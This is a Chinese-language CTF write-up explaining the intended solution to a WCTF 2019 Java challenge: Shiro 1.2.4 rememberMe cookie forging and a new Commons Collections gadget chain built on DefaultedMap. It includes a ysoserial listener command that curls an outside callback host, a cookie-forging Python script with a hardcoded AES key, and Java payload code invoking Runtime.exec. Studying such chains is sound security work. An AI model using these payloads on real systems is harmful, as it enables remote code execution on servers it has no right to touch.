在WCTF 2019中,每支队伍要求设计两道题目,我参与了其中一道题目的部分设计,该部分为Java安全。

主要利用思路可总结为:

  1. shiro 1.2.4反序列化利用
  2. Commons Collections新利用链的挖掘

赛后有两支队伍解出了该题目,分别是217和r3kapig,但是比较遗憾以及可惜的是,是通过利用CommonsBeanutils的非预期解出的,这篇文章就主要说说预期解法。

第一部分的shiro 1.2.4的反序列化利用是一个老洞了,主要利用思路便是,在已知加密密钥的情况下,可以伪造RememberMe的Cookie,同时,该Cookie实质上是序列化过的数据,因此当我们已知密钥时,可以构造任意反序列化数据。

题目提供了jar文件,在pom.xml文件中,很清晰地可以看到commons-collections-3.2.1以及shiro1.2.4,而业务功能则是标准的shiro认证流程,因此shiro利用阶段十分简单:

利用jar文件中泄漏的硬编码密钥伪造反序列化数据

直接通过构造反序列化RCE在本题中是行不通的,其中细节在Orange的博客中有详细的描述,由于不是本文的重点,因此这里直接给出链接,就不再细说。

通过ysoserial的JRMPListener,我们可以利用CommonsCollections来完成对shiro的攻击。通过下面这条命令我们能新建一个JRMPListener:

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections7 "curl http://x2wugy.ceye.io/?aaaa"

生成序列化cookie的脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "TWthODIwaVk4MmtpVTdkTg=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print(payload)

将key替换为题目中硬编码的key,再运行上面的脚本,便可以得到JRMPClient的序列化数据,替换掉题目中的cookie,便能触发反序列化。

当我们使用ysoserial构建payload会发现一个问题,那便是ysoserial中已有的CommonsCollections3.2.1相关payload都是不可用的,因此便需要我们重新挖掘一个不同于LazyMap和TransformedMap的CommonsCollections利用方式。

接下来则是如何寻找一个有效的gadget完成反序列化的利用。
commons-collections3.2.1公开的几个利用链是:

  1. LazyMap
  2. TransformedMap

而该题目的采取了一些非常暴力的方式将LazyMap和TransformedMap的链进行了摘除,此时就需要选手挖掘出一条新的commons-collections利用链。
如何挖掘新的链呢?我们可以参考LazyMap的exploit构造过程,结合网上已有的诸多资料,我们可以将LazyMap的调用流程归结为以下几步:

  1. BadAttributeValueExpException.readObject
  2. TiedMapEntry.toString
  3. TiedMapEntry.getValue
  4. LazyMap.get
  5. ChainedTransformer.transform
  6. InvokerTransformer.transform

因此我们目标就可以缩小至寻找一个Map,在这个Map中,调用了transformer.transform,并且transformer的值可控,那么我们便有可能找到这么一个Map。

实际情况是确实存在一个Map满足以上条件:DefaultedMap

DefaultedMap与LazyMap类似,都是在get方法中调用transform,并且调用transform方法的对象都是可控的transformer,所以此时对我们而言,DefaultedMap的利用链和LazyMap的利用链几乎一致。其调用流程可归纳为:

  1. BadAttributeValueExpException.readObject
  2. TiedMapEntry.toString
  3. TiedMapEntry.getValue
  4. DefaultedMap.get
  5. ChainedTransformer.transform
  6. InvokerTransformer.transform

由于其调用流程和LazyMap高度类似,因此我们可以直接在ysoserial中LazyMap相关payload的基础上进行小改。

在ysoserial中,我们新增一个名为CommonsCollections7的payload作为DefaultedMap的payload,实现方式参照LazyMap进行编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
//final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val;
}

随后重新编译一份jar,使用这个新的CommonsCollections的payload起一个JRMPListener便可以完成攻击了。